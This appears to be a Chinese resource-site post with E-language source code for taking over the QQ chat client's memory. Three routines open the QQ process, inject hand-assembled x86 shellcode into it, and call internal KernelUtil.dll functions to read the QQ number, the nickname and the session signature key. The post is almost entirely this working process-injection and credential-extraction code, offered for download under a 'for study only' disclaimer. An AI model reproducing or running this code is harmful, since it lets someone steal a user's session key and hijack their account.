QQ内存取key通用版 shellcode形式

.版本 2 .程序集 QQ操作 .子程序 QQ_进程取QQ号, 文本型, 公开 .参数 进程ID, 整数型 .局部变量 进程操作句柄, 整数型 .局部变量 p返回数据的地址, 整数型 .局部变量 shellcode, 字节集 .局部变量 pGetSelfUin, 整数型 .局部变量 返回的数据, 整数型 进程操作句柄 = OpenProcess (2035711, 0, 进程ID) p返回数据的地址 = VirtualAllocEx (进程操作句柄, 0, 4, 4096, 64) ' 获得QQ内部的 ?GetSelfUin@Contact@Util@@YAKXZ 函数地址 pGetSelfUin = 进程_取模块函数入口 (进程操作句柄, “KernelUtil.dll”, “?GetSelfUin@Contact@Util@@YAKXZ”) ' 拼接shellcode shellcode = shellcode + { 96 } ' pushad shellcode = shellcode + { 184 } + 到字节集 (pGetSelfUin) ' mov eax,pGetSelfUin shellcode = shellcode + { 255, 208 } ' call eax shellcode = shellcode + { 163 } + 到字节集 (p返回数据的地址) ' mov dword ptr[返回数据的地址],eax shellcode = shellcode + { 97 } ' popad shellcode = shellcode + { 195 } ' ret ' 远程注入执行shellcode 进程_执行shelcode (进程操作句柄, shellcode) 返回的数据 = 内存_读整数 (进程操作句柄, p返回数据的地址) ' 释放内存 VirtualFreeEx (进程操作句柄, p返回数据的地址, 0, 32768) ' 释放进程操作句柄 CloseHandle (进程操作句柄) 返回 (到文本 (到无符号整数 (返回的数据))) .子程序 QQ_进程取昵称, 文本型, 公开 .参数 进程ID, 整数型 .参数 QQ号, 整数型 .局部变量 进程操作句柄, 整数型 .局部变量 pGetPublicName, 整数型 .局部变量 p返回数据的地址, 整数型 .局部变量 shellcode, 字节集 .局部变量 昵称内存地址, 整数型 .局部变量 昵称长度, 整数型 .局部变量 昵称, 文本型 进程操作句柄 = OpenProcess (2035711, 0, 进程ID) p返回数据的地址 = VirtualAllocEx (进程操作句柄, 0, 4, 4096, 64) ' 获得QQ内部的 ?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K@Z 函数地址 pGetPublicName = 进程_取模块函数入口 (进程操作句柄, “KernelUtil.dll”, “?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K@Z”) ' 拼接shellcode shellcode = shellcode + { 85 } ' push ebp shellcode = shellcode + { 139, 236 } ' mov ebp,esp shellcode = shellcode + { 104 } + 到字节集 (QQ号) ' push QQ号 shellcode = shellcode + { 104 } + 到字节集 (p返回数据的地址) ' push p返回数据的地址 shellcode = shellcode + { 184 } + 到字节集 (pGetPublicName) ' mov eax,pGetPublicName shellcode = shellcode + { 255, 208 } ' call eax shellcode = shellcode + { 184 } + 到字节集 (p返回数据的地址) ' mov eax,p返回数据的地址 shellcode = shellcode + { 89 } ' pop ecx shellcode = shellcode + { 89 } ' pop ecx shellcode = shellcode + { 93 } ' pop ebp shellcode = shellcode + { 195 } ' ret ' 远程注入执行shellcode 进程_执行shelcode (进程操作句柄, shellcode) 昵称内存地址 = 内存_读整数 (进程操作句柄, p返回数据的地址) 昵称长度 = 内存_读整数 (进程操作句柄, 昵称内存地址 - 4) 昵称 = 编码_Unicode到Ansi (内存_读字节集 (进程操作句柄, 昵称内存地址, 昵称长度)) ' 释放内存 VirtualFreeEx (进程操作句柄, p返回数据的地址, 0, 32768) ' 释放进程操作句柄 CloseHandle (进程操作句柄) 返回 (昵称) .子程序 QQ_进程取key, 文本型, 公开 .参数 进程ID, 整数型 .局部变量 进程操作句柄, 整数型 .局部变量 p返回数据的地址, 整数型 .局部变量 pGetSignature, 整数型 .局部变量 shellcode, 字节集 .局部变量 pBuf32ByteValueAddedSignature, 整数型 .局部变量 key内存地址, 整数型 .局部变量 key长度, 整数型 .局部变量 key, 文本型 进程操作句柄 = OpenProcess (2035711, 0, 进程ID) p返回数据的地址 = VirtualAllocEx (进程操作句柄, 0, 4, 4096, 64) pBuf32ByteValueAddedSignature = VirtualAllocEx (进程操作句柄, 0, 28, 4096, 64) WriteProcessMemory_文本型 (进程操作句柄, pBuf32ByteValueAddedSignature, “buf32ByteValueAddedSignature”, 28, 0) ' 获得QQ内部的 ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z 函数地址 pGetSignature = 进程_取模块函数入口 (进程操作句柄, “KernelUtil.dll”, “?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”) ' 拼接shellcode shellcode = shellcode + { 85 } ' push ebp shellcode = shellcode + { 139, 236 } ' mov ebp,esp shellcode = shellcode + { 104 } + 到字节集 (pBuf32ByteValueAddedSignature) ' push pBuf32ByteValueAddedSignature shellcode = shellcode + { 104 } + 到字节集 (p返回数据的地址) ' push p返回数据的地址 shellcode = shellcode + { 184 } + 到字节集 (pGetSignature) ' mov eax,pGetSignature shellcode = shellcode + { 255, 208 } ' call eax shellcode = shellcode + { 184 } + 到字节集 (p返回数据的地址) ' mov eax,p返回数据的地址 shellcode = shellcode + { 89 } ' pop ecx shellcode = shellcode + { 89 } ' pop ecx shellcode = shellcode + { 93 } ' pop ebp shellcode = shellcode + { 195 } ' ret ' 远程注入执行shellcode 进程_执行shelcode (进程操作句柄, shellcode) key内存地址 = 内存_读整数 (进程操作句柄, p返回数据的地址) key长度 = 内存_读整数 (进程操作句柄, key内存地址 - 4) key = 编码_Unicode到Ansi (内存_读字节集 (进程操作句柄, key内存地址, key长度)) ' 释放内存 VirtualFreeEx (进程操作句柄, p返回数据的地址, 0, 32768) ' 释放进程操作句柄 CloseHandle (进程操作句柄) 返回 (key)
相关文件下载地址
©下载资源版权归作者所有;本站所有资源均来源于网络,仅供学习使用,请支持正版!

发表回复

您的电子邮箱地址不会被公开。必填项已用*标注